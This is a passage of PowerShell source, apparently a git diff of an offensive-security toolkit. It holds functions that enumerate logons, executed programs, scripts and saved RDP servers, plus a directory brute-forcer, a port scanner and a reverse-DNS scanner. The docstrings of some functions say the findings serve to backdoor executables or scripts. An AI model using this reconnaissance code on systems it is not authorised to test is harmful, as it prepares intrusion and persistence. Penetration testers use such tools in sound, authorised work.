|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
|
||||
network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
|
||||
|
||||
Function: Find-4624Logon
|
||||
Author: Joe Bialek, Twitter: @JosephBialek
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do
|
||||
network logons in to the server, what accounts RDP in, what accounts log in locally, etc...
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Find-4624Logon
|
||||
Find unique 4624 logon events.
|
||||
|
||||
.NOTES
|
||||
|
||||
.LINK
|
||||
|
||||
Blog: http://clymb3r.wordpress.com/
|
||||
Github repo: https://github.com/clymb3r/PowerShell
|
||||
#>
|
||||
Param (
|
||||
$SecurityLog
|
||||
)
|
||||
|
||||
$Logons = $SecurityLog | Where-Object {$_.InstanceID -eq 4624}
|
||||
$ReturnInfo = @{}
|
||||
|
||||
foreach ($Logon in $Logons)
|
||||
{
|
||||
$SubjectSection = $false
|
||||
$NewLogonSection = $false
|
||||
$NetworkInformationSection = $false
|
||||
$AccountName = ""
|
||||
$AccountDomain = ""
|
||||
$LogonType = ""
|
||||
$NewLogonAccountName = ""
|
||||
$NewLogonAccountDomain = ""
|
||||
$WorkstationName = ""
|
||||
$SourceNetworkAddress = ""
|
||||
$SourcePort = ""
|
||||
|
||||
foreach ($line in $Logon.Message -Split "\r\n")
|
||||
{
|
||||
if ($line -cmatch "^Subject:$")
|
||||
{
|
||||
$SubjectSection = $true
|
||||
}
|
||||
elseif ($line -cmatch "^Logon\sType:\s+(\S.*)")
|
||||
{
|
||||
$LogonType = $Matches[1]
|
||||
}
|
||||
elseif ($line -cmatch "^New\sLogon:$")
|
||||
{
|
||||
$SubjectSection = $false
|
||||
$NewLogonSection = $true
|
||||
}
|
||||
elseif ($line -cmatch "^Network\sInformation:$")
|
||||
{
|
||||
$NewLogonSection = $false
|
||||
$NetworkInformationSection = $true
|
||||
}
|
||||
elseif ($SubjectSection)
|
||||
{
|
||||
if ($line -cmatch "^\s+Account\sName:\s+(\S.*)")
|
||||
{
|
||||
$AccountName = $Matches[1]
|
||||
}
|
||||
elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)")
|
||||
{
|
||||
$AccountDomain = $Matches[1]
|
||||
}
|
||||
}
|
||||
elseif ($NewLogonSection)
|
||||
{
|
||||
if ($line -cmatch "^\s+Account\sName:\s+(\S.*)")
|
||||
{
|
||||
$NewLogonAccountName = $Matches[1]
|
||||
}
|
||||
elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)")
|
||||
{
|
||||
$NewLogonAccountDomain = $Matches[1]
|
||||
}
|
||||
}
|
||||
elseif ($NetworkInformationSection)
|
||||
{
|
||||
if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)")
|
||||
{
|
||||
$WorkstationName = $Matches[1]
|
||||
}
|
||||
elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)")
|
||||
{
|
||||
$SourceNetworkAddress = $Matches[1]
|
||||
}
|
||||
elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)")
|
||||
{
|
||||
$SourcePort = $Matches[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#Filter out logins that don't matter
|
||||
if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager"))
|
||||
{
|
||||
$Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort
|
||||
if (-not $ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
LogType = 4624
|
||||
LogSource = "Security"
|
||||
SourceAccountName = $AccountName
|
||||
SourceDomainName = $AccountDomain
|
||||
NewLogonAccountName = $NewLogonAccountName
|
||||
NewLogonAccountDomain = $NewLogonAccountDomain
|
||||
LogonType = $LogonType
|
||||
WorkstationName = $WorkstationName
|
||||
SourceNetworkAddress = $SourceNetworkAddress
|
||||
SourcePort = $SourcePort
|
||||
Count = 1
|
||||
Times = @($Logon.TimeGenerated)
|
||||
}
|
||||
|
||||
$ResultObj = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $ResultObj)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Logon.TimeGenerated
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $ReturnInfo
|
||||
}
|
||||
|
||||
|
||||
function Find-AppLockerLog
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
|
||||
|
||||
Function: Find-AppLockerLog
|
||||
Author: Joe Bialek, Twitter: @JosephBialek
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run).
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Find-AppLockerLog
|
||||
Find process creations from AppLocker logs.
|
||||
|
||||
.NOTES
|
||||
|
||||
.LINK
|
||||
|
||||
Blog: http://clymb3r.wordpress.com/
|
||||
Github repo: https://github.com/clymb3r/PowerShell
|
||||
#>
|
||||
|
||||
$ReturnInfo = @{}
|
||||
|
||||
$AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 8002}
|
||||
|
||||
foreach ($Log in $AppLockerLogs)
|
||||
{
|
||||
$SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value)
|
||||
$UserName = $SID.Translate( [System.Security.Principal.NTAccount])
|
||||
|
||||
$ExeName = $Log.Properties[10].Value
|
||||
|
||||
$Key = $UserName.ToString() + "::::" + $ExeName
|
||||
|
||||
if (!$ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
Exe = $ExeName
|
||||
User = $UserName.Value
|
||||
Count = 1
|
||||
Times = @($Log.TimeCreated)
|
||||
}
|
||||
|
||||
$Item = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $Item)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Log.TimeCreated
|
||||
}
|
||||
}
|
||||
|
||||
return $ReturnInfo
|
||||
}
|
||||
|
||||
|
||||
Function Find-PSScriptsInPSAppLog
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
|
||||
You can then backdoor these scripts or do other malicious things.
|
||||
|
||||
Function: Find-AppLockerLog
|
||||
Author: Joe Bialek, Twitter: @JosephBialek
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log).
|
||||
You can then backdoor these scripts or do other malicious things.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Find-PSScriptsInPSAppLog
|
||||
Find unique PowerShell scripts being executed from the PowerShell operational log.
|
||||
|
||||
.NOTES
|
||||
|
||||
.LINK
|
||||
|
||||
Blog: http://clymb3r.wordpress.com/
|
||||
Github repo: https://github.com/clymb3r/PowerShell
|
||||
#>
|
||||
|
||||
$ReturnInfo = @{}
|
||||
$Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 4100}
|
||||
|
||||
foreach ($Log in $Logs)
|
||||
{
|
||||
$LogDetails = $Log.Message -split "`r`n"
|
||||
|
||||
$FoundScriptName = $false
|
||||
foreach($Line in $LogDetails)
|
||||
{
|
||||
if ($Line -imatch "^\s*Script\sName\s=\s(.+)")
|
||||
{
|
||||
$ScriptName = $Matches[1]
|
||||
$FoundScriptName = $true
|
||||
}
|
||||
elseif ($Line -imatch "^\s*User\s=\s(.*)")
|
||||
{
|
||||
$User = $Matches[1]
|
||||
}
|
||||
}
|
||||
|
||||
if ($FoundScriptName)
|
||||
{
|
||||
$Key = $ScriptName + "::::" + $User
|
||||
|
||||
if (!$ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$Properties = @{
|
||||
ScriptName = $ScriptName
|
||||
UserName = $User
|
||||
Count = 1
|
||||
Times = @($Log.TimeCreated)
|
||||
}
|
||||
|
||||
$Item = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $Item)
|
||||
}
|
||||
else
|
||||
{
|
||||
$ReturnInfo[$Key].Count++
|
||||
$ReturnInfo[$Key].Times += ,$Log.TimeCreated
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $ReturnInfo
|
||||
}
|
||||
|
||||
|
||||
Function Find-RDPClientConnection
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user
|
||||
usually RDP's to.
|
||||
|
||||
Function: Find-RDPClientConnection
|
||||
Author: Joe Bialek, Twitter: @JosephBialek
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user usually RDP's to.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Find-RDPClientConnection
|
||||
Find unique saved RDP client connections.
|
||||
|
||||
.NOTES
|
||||
|
||||
.LINK
|
||||
|
||||
Blog: http://clymb3r.wordpress.com/
|
||||
Github repo: https://github.com/clymb3r/PowerShell
|
||||
#>
|
||||
$ReturnInfo = @{}
|
||||
|
||||
New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null
|
||||
|
||||
#Attempt to enumerate the servers for all users
|
||||
$Users = Get-ChildItem -Path "HKU:\"
|
||||
foreach ($UserSid in $Users.PSChildName)
|
||||
{
|
||||
$Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue
|
||||
|
||||
foreach ($Server in $Servers)
|
||||
{
|
||||
$Server = $Server.PSChildName
|
||||
$UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint
|
||||
|
||||
$Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint
|
||||
|
||||
if (!$ReturnInfo.ContainsKey($Key))
|
||||
{
|
||||
$SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid)
|
||||
$User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value
|
||||
|
||||
$Properties = @{
|
||||
CurrentUser = $User
|
||||
Server = $Server
|
||||
UsernameHint = $UsernameHint
|
||||
}
|
||||
|
||||
$Item = New-Object PSObject -Property $Properties
|
||||
$ReturnInfo.Add($Key, $Item)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $ReturnInfo
|
||||
}
|
||||
+34
-30
@@ -5,11 +5,11 @@ function Get-HttpStatus
|
||||
|
||||
Returns the HTTP Status Codes and full URL for specified paths.
|
||||
|
||||
PowerSploit Function: Get-HttpStatus
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
PowerSploit Function: Get-HttpStatus
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
@@ -42,7 +42,7 @@ C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL
|
||||
.NOTES
|
||||
|
||||
HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error
|
||||
|
||||
|
||||
.LINK
|
||||
|
||||
http://obscuresecurity.blogspot.com
|
||||
@@ -64,49 +64,54 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
|
||||
[Switch]
|
||||
$UseSSL
|
||||
)
|
||||
|
||||
|
||||
if (Test-Path $Path) {
|
||||
|
||||
|
||||
if ($UseSSL -and $Port -eq 0) {
|
||||
# Default to 443 if SSL is specified but no port is specified
|
||||
$Port = 443
|
||||
} elseif ($Port -eq 0) {
|
||||
}
|
||||
elseif ($Port -eq 0) {
|
||||
# Default to port 80 if no port is specified
|
||||
$Port = 80
|
||||
}
|
||||
|
||||
|
||||
$TcpConnection = New-Object System.Net.Sockets.TcpClient
|
||||
Write-Verbose "Path Test Succeeded - Testing Connectivity"
|
||||
|
||||
|
||||
try {
|
||||
# Validate that the host is listening before scanning
|
||||
$TcpConnection.Connect($Target, $Port)
|
||||
} catch {
|
||||
}
|
||||
catch {
|
||||
Write-Error "Connection Test Failed - Check Target"
|
||||
$Tcpconnection.Close()
|
||||
Return
|
||||
Return
|
||||
}
|
||||
|
||||
|
||||
$Tcpconnection.Close()
|
||||
} else {
|
||||
}
|
||||
else {
|
||||
Write-Error "Path Test Failed - Check Dictionary Path"
|
||||
Return
|
||||
}
|
||||
|
||||
|
||||
if ($UseSSL) {
|
||||
$SSL = 's'
|
||||
# Ignore invalid SSL certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True }
|
||||
} else {
|
||||
}
|
||||
else {
|
||||
$SSL = ''
|
||||
}
|
||||
|
||||
|
||||
if (($Port -eq 80) -or ($Port -eq 443)) {
|
||||
$PortNum = ''
|
||||
} else {
|
||||
}
|
||||
else {
|
||||
$PortNum = ":$Port"
|
||||
}
|
||||
|
||||
|
||||
# Check Http status for each entry in the doctionary file
|
||||
foreach ($Item in Get-Content $Path) {
|
||||
|
||||
@@ -117,24 +122,23 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html
|
||||
$WebRequest = [System.Net.WebRequest]::Create($URI)
|
||||
$WebResponse = $WebRequest.GetResponse()
|
||||
$WebStatus = $WebResponse.StatusCode
|
||||
$ResultObject += $ScanObject
|
||||
$WebResponse.Close()
|
||||
} catch {
|
||||
}
|
||||
catch {
|
||||
$WebStatus = $Error[0].Exception.InnerException.Response.StatusCode
|
||||
|
||||
if ($WebStatus -eq $null) {
|
||||
|
||||
if (-not $WebStatus) {
|
||||
# Not every exception returns a StatusCode.
|
||||
# If that is the case, return the Status.
|
||||
$WebStatus = $Error[0].Exception.InnerException.Status
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$Result = @{ Status = $WebStatus;
|
||||
URL = $WebTarget}
|
||||
|
||||
|
||||
$ScanObject = New-Object -TypeName PSObject -Property $Result
|
||||
|
||||
|
||||
Write-Output $ScanObject
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
+83
-22
@@ -1,24 +1,20 @@
|
||||
function Invoke-Portscan
|
||||
function Invoke-Portscan
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Simple portscan module
|
||||
|
||||
PowerSploit Function: Invoke-Portscan
|
||||
Author: Rich Lundeen (http://webstersProdigy.net)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
PowerSploit Function: Invoke-Portscan
|
||||
Author: Rich Lundeen (http://webstersProdigy.net)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Does a simple port scan using regular sockets, based (pretty) loosely on nmap
|
||||
|
||||
.NOTES
|
||||
|
||||
version .13
|
||||
|
||||
.PARAMETER Hosts
|
||||
|
||||
Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in
|
||||
@@ -118,7 +114,7 @@ Force Overwrite if output Files exist. Otherwise it throws exception
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
|
||||
Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50
|
||||
|
||||
Description
|
||||
-----------
|
||||
@@ -126,7 +122,7 @@ Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and m
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
|
||||
echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080"
|
||||
|
||||
Description
|
||||
-----------
|
||||
@@ -134,7 +130,7 @@ Does a portscan of "webstersprodigy.net", and writes a greppable output file
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
|
||||
Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet
|
||||
|
||||
Description
|
||||
-----------
|
||||
@@ -145,7 +141,13 @@ Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all
|
||||
http://webstersprodigy.net
|
||||
#>
|
||||
|
||||
[CmdletBinding()]Param (
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseLiteralInitializerForHashtable', '')]
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
#Host, Ports
|
||||
[Parameter(ParameterSetName="cmdHosts",
|
||||
|
||||
@@ -260,6 +262,8 @@ http://webstersprodigy.net
|
||||
|
||||
[String[]] $iHosts = $Hosts.Split(",")
|
||||
|
||||
$IPRangeRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}-\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
|
||||
|
||||
foreach($iHost in $iHosts)
|
||||
{
|
||||
$iHost = $iHost.Replace(" ", "")
|
||||
@@ -313,6 +317,65 @@ http://webstersprodigy.net
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if($iHost -match $IPRangeRegex)
|
||||
{
|
||||
|
||||
$iHostPart1 = ($iHost.Split("-"))[0]
|
||||
$iHostPart2 = ($iHost.Split("-"))[1]
|
||||
|
||||
$LowerBound = $iHostPart1.Split(".")
|
||||
$UpperBound = $iHostPart2.Split(".")
|
||||
|
||||
$LowerBoundInt = ($LowerBound[0].ToInt32($null),$LowerBound[1].ToInt32($null),$LowerBound[2].ToInt32($null),$LowerBound[3].ToInt32($null))
|
||||
$UpperBoundInt = ($UpperBound[0].ToInt32($null),$UpperBound[1].ToInt32($null),$UpperBound[2].ToInt32($null),$UpperBound[3].ToInt32($null))
|
||||
|
||||
$CurrentIP = $LowerBoundInt
|
||||
$CurrentIPString = $null
|
||||
$ControlArray = @(0,0,0,0)
|
||||
|
||||
$null = $hostList.Add($iHostPart1)
|
||||
|
||||
while($CurrentIPString -ne $iHostPart2)
|
||||
{
|
||||
for($i=0;$i -lt 4;$i++)
|
||||
{
|
||||
|
||||
if(($CurrentIP[$i] -eq $UpperBoundInt[$i]) -and (($i -eq 0) -or $ControlArray[$i-1] -eq 1))
|
||||
{
|
||||
$ControlArray[$i] = 1
|
||||
continue
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
$Max = 254
|
||||
if(($i -ne 0) -and ($ControlArray[$i-1] -eq 1))
|
||||
{
|
||||
$Max = $UpperBoundInt[$i]
|
||||
}
|
||||
|
||||
if(($i -ne 3) -and ($CurrentIP[$i+1] -eq 254))
|
||||
{
|
||||
$CurrentIP[$i]++
|
||||
$CurrentIP[$i+1]=0
|
||||
|
||||
$CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString())
|
||||
$null = $hostList.Add($CurrentIPString)
|
||||
}
|
||||
|
||||
if(($i -eq 3) -and ($CurrentIP[$i] -lt $Max))
|
||||
{
|
||||
$CurrentIP[$i]++
|
||||
|
||||
$CurrentIPString = ($CurrentIP[0].ToString() + "." + $CurrentIP[1].ToString() + "." + $CurrentIP[2].ToString() + "." + $CurrentIP[3].ToString())
|
||||
$null = $hostList.Add($CurrentIPString)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -647,14 +710,14 @@ http://webstersprodigy.net
|
||||
|
||||
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath
|
||||
|
||||
if ($Hosts)
|
||||
if ($PsCmdlet.ParameterSetName -eq "cmdHosts")
|
||||
{
|
||||
foreach($h in $Hosts)
|
||||
{
|
||||
Parse-Hosts($h) | Out-Null
|
||||
}
|
||||
}
|
||||
elseif ($HostFile)
|
||||
else
|
||||
{
|
||||
Parse-ILHosts($HostFile) | Out-Null
|
||||
}
|
||||
@@ -752,9 +815,9 @@ http://webstersprodigy.net
|
||||
#TODO deal with output
|
||||
Write-PortscanOut -comment $startMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream
|
||||
|
||||
#converting back from int array gives some argument error checking
|
||||
$sPortList = [string]::join(",", $portList)
|
||||
$sHostPortList = [string]::join(",", $hostPortList)
|
||||
# #converting back from int array gives some argument error checking
|
||||
# $sPortList = [string]::join(",", $portList)
|
||||
# $sHostPortList = [string]::join(",", $hostPortList)
|
||||
|
||||
########
|
||||
#Port Scan Code - run on a per host basis
|
||||
@@ -844,7 +907,6 @@ http://webstersprodigy.net
|
||||
$sockets[$p] = new-object System.Net.Sockets.TcpClient
|
||||
}
|
||||
|
||||
|
||||
$scriptBlockAsString = @"
|
||||
|
||||
#somewhat of a race condition with the timeout, but I don't think it matters
|
||||
@@ -889,8 +951,7 @@ http://webstersprodigy.net
|
||||
$timeouts[$p].Enabled = $true
|
||||
|
||||
$myscriptblock = [scriptblock]::Create($scriptBlockAsString)
|
||||
$x = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null)
|
||||
|
||||
$Null = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null)
|
||||
}
|
||||
|
||||
function PortScan-Alive
|
||||
|
||||
+159
-130
@@ -5,23 +5,23 @@ function Invoke-ReverseDnsLookup
|
||||
|
||||
Perform a reverse DNS lookup scan on a range of IP addresses.
|
||||
|
||||
PowerSploit Function: Invoke-ReverseDnsLookup
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
PowerSploit Function: Invoke-ReverseDnsLookup
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test.
|
||||
|
||||
Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
|
||||
|
||||
.PARAMETER IPRange
|
||||
|
||||
Specifies the IP address range. The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. Comma-delimited ranges may can be provided.
|
||||
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-ReverseDnsLookup 74.125.228.0/29
|
||||
Invoke-ReverseDnsLookup 74.125.228.0/29
|
||||
|
||||
IP HostName
|
||||
-- --------
|
||||
@@ -31,165 +31,194 @@ IP HostName
|
||||
74.125.228.4 iad23s05-in-f4.1e100.net
|
||||
74.125.228.5 iad23s05-in-f5.1e100.net
|
||||
74.125.228.6 iad23s05-in-f6.1e100.net
|
||||
|
||||
|
||||
Description
|
||||
-----------
|
||||
Returns the hostnames of the IP addresses specified by the CIDR range.
|
||||
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6'
|
||||
|
||||
Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6'
|
||||
|
||||
IP HostName
|
||||
-- --------
|
||||
74.125.228.1 iad23s05-in-f1.1e100.net
|
||||
74.125.228.4 iad23s05-in-f4.1e100.net
|
||||
74.125.228.5 iad23s05-in-f5.1e100.net
|
||||
74.125.228.6 iad23s05-in-f6.1e100.net
|
||||
|
||||
|
||||
Description
|
||||
-----------
|
||||
Returns the hostnames of the IP addresses specified by the IP range specified.
|
||||
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup
|
||||
|
||||
IP HostName
|
||||
-- --------
|
||||
74.125.228.1 iad23s05-in-f1.1e100.net
|
||||
74.125.228.1 iad23s05-in-f1.1e100.net
|
||||
74.125.228.2 iad23s05-in-f2.1e100.net
|
||||
74.125.228.3 iad23s05-in-f3.1e100.net
|
||||
74.125.228.4 iad23s05-in-f4.1e100.net
|
||||
74.125.228.5 iad23s05-in-f5.1e100.net
|
||||
74.125.228.6 iad23s05-in-f6.1e100.net
|
||||
|
||||
Description
|
||||
-----------
|
||||
Returns the hostnames of the IP addresses piped from another source.
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
https://github.com/mattifestation/PowerSploit
|
||||
#>
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True)]
|
||||
[Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)]
|
||||
[String]
|
||||
$IpRange
|
||||
)
|
||||
|
||||
function Parse-IPList ([String] $IpRange)
|
||||
{
|
||||
|
||||
function IPtoInt
|
||||
BEGIN {
|
||||
|
||||
function Parse-IPList ([String] $IpRange)
|
||||
{
|
||||
Param([String] $IpString)
|
||||
|
||||
$Hexstr = ""
|
||||
$Octets = $IpString.Split(".")
|
||||
foreach ($Octet in $Octets) {
|
||||
$Hexstr += "{0:X2}" -f [Int] $Octet
|
||||
}
|
||||
return [Convert]::ToInt64($Hexstr, 16)
|
||||
}
|
||||
|
||||
function InttoIP
|
||||
{
|
||||
Param([Int64] $IpInt)
|
||||
$Hexstr = $IpInt.ToString("X8")
|
||||
$IpStr = ""
|
||||
for ($i=0; $i -lt 8; $i += 2) {
|
||||
$IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16)
|
||||
$IpStr += '.'
|
||||
}
|
||||
return $IpStr.TrimEnd('.')
|
||||
}
|
||||
|
||||
$Ip = [System.Net.IPAddress]::Parse("127.0.0.1")
|
||||
|
||||
foreach ($Str in $IpRange.Split(","))
|
||||
{
|
||||
$Item = $Str.Trim()
|
||||
$Result = ""
|
||||
$IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}"
|
||||
|
||||
# First, validate the input
|
||||
switch -regex ($Item)
|
||||
|
||||
function IPtoInt
|
||||
{
|
||||
"^$IpRegex/\d{1,2}$"
|
||||
{
|
||||
$Result = "cidrRange"
|
||||
break
|
||||
}
|
||||
"^$IpRegex-$IpRegex$"
|
||||
{
|
||||
$Result = "range"
|
||||
break
|
||||
}
|
||||
"^$IpRegex$"
|
||||
{
|
||||
$Result = "single"
|
||||
break
|
||||
}
|
||||
default
|
||||
{
|
||||
Write-Warning "Inproper input"
|
||||
return
|
||||
Param([String] $IpString)
|
||||
|
||||
$Hexstr = ""
|
||||
$Octets = $IpString.Split(".")
|
||||
foreach ($Octet in $Octets) {
|
||||
$Hexstr += "{0:X2}" -f [Int] $Octet
|
||||
}
|
||||
return [Convert]::ToInt64($Hexstr, 16)
|
||||
}
|
||||
|
||||
#Now, start processing the IP addresses
|
||||
switch ($Result)
|
||||
|
||||
function InttoIP
|
||||
{
|
||||
"cidrRange"
|
||||
{
|
||||
$CidrRange = $Item.Split("/")
|
||||
$Network = $CidrRange[0]
|
||||
$Mask = $CidrRange[1]
|
||||
|
||||
if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return}
|
||||
if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return}
|
||||
|
||||
$BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0')
|
||||
#Generate lower limit (Excluding network address)
|
||||
$Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1"
|
||||
#Generate upperr limit (Excluding broadcast address)
|
||||
$Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0"
|
||||
$LowerInt = [Convert]::ToInt64($Lower, 2)
|
||||
